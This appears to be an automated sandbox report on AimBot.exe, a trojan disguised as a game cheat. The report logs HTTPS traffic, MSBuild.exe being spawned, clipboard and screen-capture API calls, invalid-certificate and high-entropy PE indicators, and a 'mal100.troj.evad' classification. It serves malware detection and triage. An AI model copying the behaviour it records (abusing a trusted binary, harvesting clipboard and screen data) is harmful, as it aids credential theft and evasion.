Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 172.67.178.50:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.8:49876 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0043A400 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_0043A400

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0043A400 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_0043A400

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0043B7CD GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_0043B7CD

Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B1FE0	1_2_006B1FE0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E8070	1_2_006E8070
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_007160E0	1_2_007160E0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E60A2	1_2_006E60A2
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006EA3A0	1_2_006EA3A0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_0070E380	1_2_0070E380
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E64E0	1_2_006E64E0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_00714560	1_2_00714560
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006FC87E	1_2_006FC87E
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006BC842	1_2_006BC842
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E4820	1_2_006E4820
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006F89E0	1_2_006F89E0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_007009D0	1_2_007009D0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E6A00	1_2_006E6A00
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_00724CF0	1_2_00724CF0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E8D20	1_2_006E8D20
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B6FEC	1_2_006B6FEC
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006CD0ED	1_2_006CD0ED
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E70D0	1_2_006E70D0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_007271F0	1_2_007271F0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006DD1D7	1_2_006DD1D7
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_00725200	1_2_00725200
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_0071D2A0	1_2_0071D2A0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006DD28F	1_2_006DD28F
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006DD286	1_2_006DD286
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_00721350	1_2_00721350
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006DD313	1_2_006DD313
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E146B	1_2_006E146B
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006C547C	1_2_006C547C
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E3440	1_2_006E3440
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E1420	1_2_006E1420
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_007274C0	1_2_007274C0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E7560	1_2_006E7560
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_0070B53E	1_2_0070B53E
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006DF740	1_2_006DF740
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006ED8A0	1_2_006ED8A0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_0071B8A0	1_2_0071B8A0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006CB888	1_2_006CB888
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006C39E2	1_2_006C39E2
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006BFC40	1_2_006BFC40
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006F9CF0	1_2_006F9CF0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B1D65	1_2_006B1D65
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_00715E50	1_2_00715E50
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006E3E80	1_2_006E3E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004413C0	3_2_004413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00401000	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00431020	3_2_00431020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0044A0C0	3_2_0044A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00414106	3_2_00414106
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B1F0	3_2_0040B1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040C190	3_2_0040C190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0043A200	3_2_0043A200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004012F7	3_2_004012F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0044B310	3_2_0044B310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00449320	3_2_00449320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004013AF	3_2_004013AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004103BC	3_2_004103BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004093BF	3_2_004093BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00445470	3_2_00445470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040E4C0	3_2_0040E4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004054F0	3_2_004054F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004324A0	3_2_004324A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00407560	3_2_00407560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004155D0	3_2_004155D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0044B5E0	3_2_0044B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042E5B0	3_2_0042E5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004335B0	3_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042F65E	3_2_0042F65E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040A600	3_2_0040A600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041E6F0	3_2_0041E6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B680	3_2_0040B680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00438680	3_2_00438680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00403860	3_2_00403860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004498E0	3_2_004498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042D8F9	3_2_0042D8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00408940	3_2_00408940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004119C0	3_2_004119C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0043F9C0	3_2_0043F9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042099E	3_2_0042099E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00449A20	3_2_00449A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00424AF0	3_2_00424AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042FA94	3_2_0042FA94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041CB00	3_2_0041CB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040AB20	3_2_0040AB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00449BF0	3_2_00449BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00430CB0	3_2_00430CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00449D00	3_2_00449D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00449DE0	3_2_00449DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040CE40	3_2_0040CE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041DE10	3_2_0041DE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00448E10	3_2_00448E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00439F70	3_2_00439F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00429F0A	3_2_00429F0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00447F9F	3_2_00447F9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00407FA0	3_2_00407FA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040CC30 appears 43 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040EC80 appears 166 times
Source: C:\Users\user\Desktop\AimBot.exe	Code function: String function: 006E8B10 appears 102 times
Source: C:\Users\user\Desktop\AimBot.exe	Code function: String function: 006B78D0 appears 49 times
Source: C:\Users\user\Desktop\AimBot.exe	Code function: String function: 006EAB60 appears 166 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1636

Source: AimBot.exe

Static PE information: invalid certificate

Source: AimBot.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: AimBot.exe

Static PE information: Section: .data ZLIB complexity 0.9912774904381085

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/5@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00429220 CoCreateInstance,

3_2_00429220

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1548

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\97a12615-0ed6-467b-a7cd-f2479663cefb

Jump to behavior

Source: C:\Users\user\Desktop\AimBot.exe	Command line argument: MZx	1_2_006B1FE0
Source: C:\Users\user\Desktop\AimBot.exe	Command line argument: MZx	1_2_006B1FE0
Source: C:\Users\user\Desktop\AimBot.exe	Command line argument: MZx	1_2_006B1FE0

Source: AimBot.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\AimBot.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AimBot.exe	Virustotal: Detection: 59%
Source: AimBot.exe	ReversingLabs: Detection: 37%

Source: unknown	Process created: C:\Users\user\Desktop\AimBot.exe "C:\Users\user\Desktop\AimBot.exe"
Source: C:\Users\user\Desktop\AimBot.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\AimBot.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1636
Source: C:\Users\user\Desktop\AimBot.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\AimBot.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
